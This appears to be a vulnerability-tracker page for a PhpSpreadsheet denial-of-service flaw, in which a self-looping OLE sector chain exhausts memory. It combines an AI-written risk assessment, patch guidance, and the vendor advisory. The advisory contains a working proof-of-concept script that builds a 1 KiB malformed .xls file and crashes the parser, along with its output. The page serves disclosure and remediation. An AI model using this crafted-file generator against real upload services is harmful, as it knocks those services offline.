Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessUpload crafted 1 KiB .xls to import endpoint
-
DeliveryApp auto-detects type via canRead()
-
ExploitOLERead follows self-looping SAT sector chain
-
ExecutionsmallBlockChain appended in unbounded loop
-
PersistPHP memory limit exhausted
-
ImpactWorker killed, service denial
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK
1 technique across 1 tactic: Impact The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The only prerequisite is that the target application parses an attacker-supplied .xls/OLE file through PhpSpreadsheet's XLS reader or automatic type detection (IOFactory::createReaderForFile / Reader\Xls::canRead / loadOLE) - no authentication, no user interaction, and no special product configuration are required, since detection happens before the file is validated as a real workbook. What limits exploitation: the attacker must be able to deliver the file to a code path that invokes the Xls reader or auto-detection (an upload/import/preview/convert endpoint that includes XLS handling); an application that only ever reads trusted files, restricts formats to XLSX/CSV without probing, or never calls canRead() on untrusted input is not exposed. Impact is confined to denial of service of the parsing worker. |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, base 7.5) is internally consistent for a network-reachable, no-auth, no-interaction availability-only impact, and matches the description: exploitation happens during canRead()/type detection before authentication to the workbook is relevant. This is a genuine availability risk for exposed upload/preview/conversion services, but it is bounded - impact is DoS only, with no confidentiality or integrity loss and no code execution. A functional proof of concept is public (embedded in the GHSA advisory), which raises practical exploitability, but there is no CISA KEV listing and no evidence of active exploitation, so this should be treated as an easily-weaponizable DoS rather than an emergency. No EPSS score was provided in the input, so probabilistic exploitation likelihood cannot be quantified here. One caveat to verify: AV:N assumes the attacker can deliver the file to a network-facing parser (typical for upload handlers); in deployments where spreadsheets arrive only through local/offline batch jobs, the realistic vector is closer to local file delivery. |
| Exploit ScenarioDerived | An attacker uploads a crafted ~1 KiB .xls file to a web app that accepts spreadsheet uploads (e.g. an import, preview, or document-conversion feature). When the app calls IOFactory or Reader\Xls::canRead() to auto-detect the file type, OLERead::read() enters the self-looping sector chain and the PHP worker consumes all available memory and is killed. A public proof of concept exists in the vendor advisory, and because AV:N/AC:L/PR:N/UI:N the attack needs only the ability to submit the file and no authentication or user interaction. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 23, 2026
Denial of service in PhpSpreadsheet (PHPOffice) versions 2.0.0 through 5.8.0 lets remote unauthenticated attackers crash a PHP worker with a ~1 KiB malformed XLS/OLE file. The library's OLERead::read() follows attacker-controlled OLE sector chains without cycle detection, so a sector that points back to itself makes the small-block depot loop append the same data until memory is exhausted. It is triggered during automatic format detection via Reader\Xls::canRead(), so any app that probes untrusted spreadsheet uploads is affected; a working proof of concept is published in the vendor advisory, though the flaw is not in CISA KEV.
RemediationAI
Vendor-released patch: upgrade to the fixed release for your branch - 5.8.1, 3.10.7, 2.4.7, or 2.1.18 (1.30.6 for the 1.x line) - via Composer (composer update phpoffice/phpspreadsheet), applying the fix commit 85f2556b0bf5269061bf45932ecda8a128d81750 which adds a catchLoop() visited-sector guard that throws a recoverable Reader\Exception on cyclic OLE chains. See https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3 and the release notes at https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1. If you cannot upgrade immediately, compensating controls include: reject or skip .xls/OLE inputs and disable automatic format detection so untrusted files never reach Reader\Xls::canRead() (trade-off: legitimate legacy XLS uploads stop working); run parsing in an isolated worker with a strict per-request memory_limit and short execution timeout plus process supervision so an OOM kills only one worker and auto-restarts rather than degrading the service (trade-off: does not prevent the crash, only contains blast radius); and enforce small upload size limits (note this only partially helps, since the PoC file is ~1 KiB). None of these substitute for the patch, which is the definitive fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the Microsoft Compound File Binary (OLE2/CFB) parser inside PhpSpreadsheet's Shared\OLERead class, which XLS files use as their container format. OLE storage is organized into fixed-size sectors linked by allocation tables (the SAT/big-block chain and SSAT/small-block-depot chain); a reader walks these singly-linked chains until it hits the -2 end-of-chain marker. The root cause is CWE-400 (Uncontrolled Resource Consumption): the loop at OLERead.php:132-146 trusts header fields (sbdStartBlock) and allocation-table entries from the file, with no visited-sector set, no maximum iteration bound tied to file size, and no EOF/bounds check. When the SAT maps sector 0 to sector 0, getInt4d() keeps returning the same next-sector index and smallBlockChain grows without limit. The advisory notes the same unbounded-walk pattern also exists in stream extraction paths (OLERead.php:175-180, 198-202, 218-222) and readData().
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Remote unauthenticated attacker delivers a file to auto-detection (AV:N/AC:L/PR:N/UI:N); impact is memory-exhaustion DoS only, so C:N/I:N/A:H with no scope change.
Primary rating from Vendor (https://github.com/PHPOffice/PhpSpreadsheet).
CVSS VectorVendor: https://github.com/PHPOffice/PhpSpreadsheet
DescriptionCVE.org
Summary
PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.
This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.
Vulnerability details
OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:
src/PhpSpreadsheet/Shared/OLERead.php:82reads the entire file after validating only the OLE magic.src/PhpSpreadsheet/Shared/OLERead.php:84-97reads sector-chain metadata from the file header.src/PhpSpreadsheet/Shared/OLERead.php:132-146buildsbigBlockChainand then follows the small-block depot chain.
The vulnerable loop is:
$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
$pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;
$this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
$pos += 4 * $bbs;
$sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.
The issue is reachable during normal reader detection/loading:
src/PhpSpreadsheet/Reader/XlsBase.php:153-165callsOLERead::read()fromcanRead().src/PhpSpreadsheet/Reader/Xls.php:376-383callsOLERead::read()fromloadOLE().src/PhpSpreadsheet/IOFactory.php:181-213callscanRead()while creating a reader for a file, so automatic format detection can trigger the issue.
Similar unbounded sector-chain walks exist later in stream reading:
src/PhpSpreadsheet/Shared/OLERead.php:175-180src/PhpSpreadsheet/Shared/OLERead.php:198-202src/PhpSpreadsheet/Shared/OLERead.php:218-222
The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.
Impact
A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.
The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.
Safe local proof of concept
This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.
docker run --rm --network none -i \
-v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
-w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9)); // sector size 512
$set(32, pack("v", 6)); // mini sector size 64
$set(44, pack("l", 1)); // 1 SAT sector
$set(48, pack("l", 0)); // directory first sector 0
$set(56, pack("l", 4096)); // mini stream cutoff
$set(60, pack("l", 0)); // SSAT first sector 0
$set(64, pack("l", 1)); // one SSAT sector
$set(68, pack("l", -2)); // no MSAT extension
$set(72, pack("l", 0)); // no extension sectors
$set(76, pack("l", 0)); // DIFAT says SAT is sector 0
$set(512, pack("l", 0)); // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SHObserved output:
ole_size=1024
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP 1. {main}() Command line code:0
PHP 2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP 3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164Suggested remediation
- Validate every OLE sector-chain walk with:
- a visited-sector set to reject cycles;
- maximum chain length based on file size and sector size;
- bounds checks before reading from
$this->data,$this->bigBlockChain, or$this->smallBlockChain; - rejection of negative sector IDs other than the documented end-of-chain marker.
- Replace fatal memory exhaustion with a recoverable
Reader\Exceptionfor malformed OLE chains. - Apply the same guarded chain-walk helper to:
- small-block depot chain construction;
- small-block stream extraction;
- big-block stream extraction;
readData().- Add regression tests with self-looping and out-of-range SAT/SSAT chains.
Articles & Coverage 2
Executive ViewAI
PhpSpreadsheet (versions 2.0.0-5.8.0), used in PHP applications to process spreadsheets, is vulnerable to denial-of-service attacks from remote, unauthenticated attackers. Any organization processing spreadsheet uploads faces service disruption risk; publicly available exploit code means attackers can crash application workers with minimal effort. Urgent patching is critical for organizations relying on spreadsheet processing in customer-facing workflows.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-49930
GHSA-xh5m-36r6-47m3
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB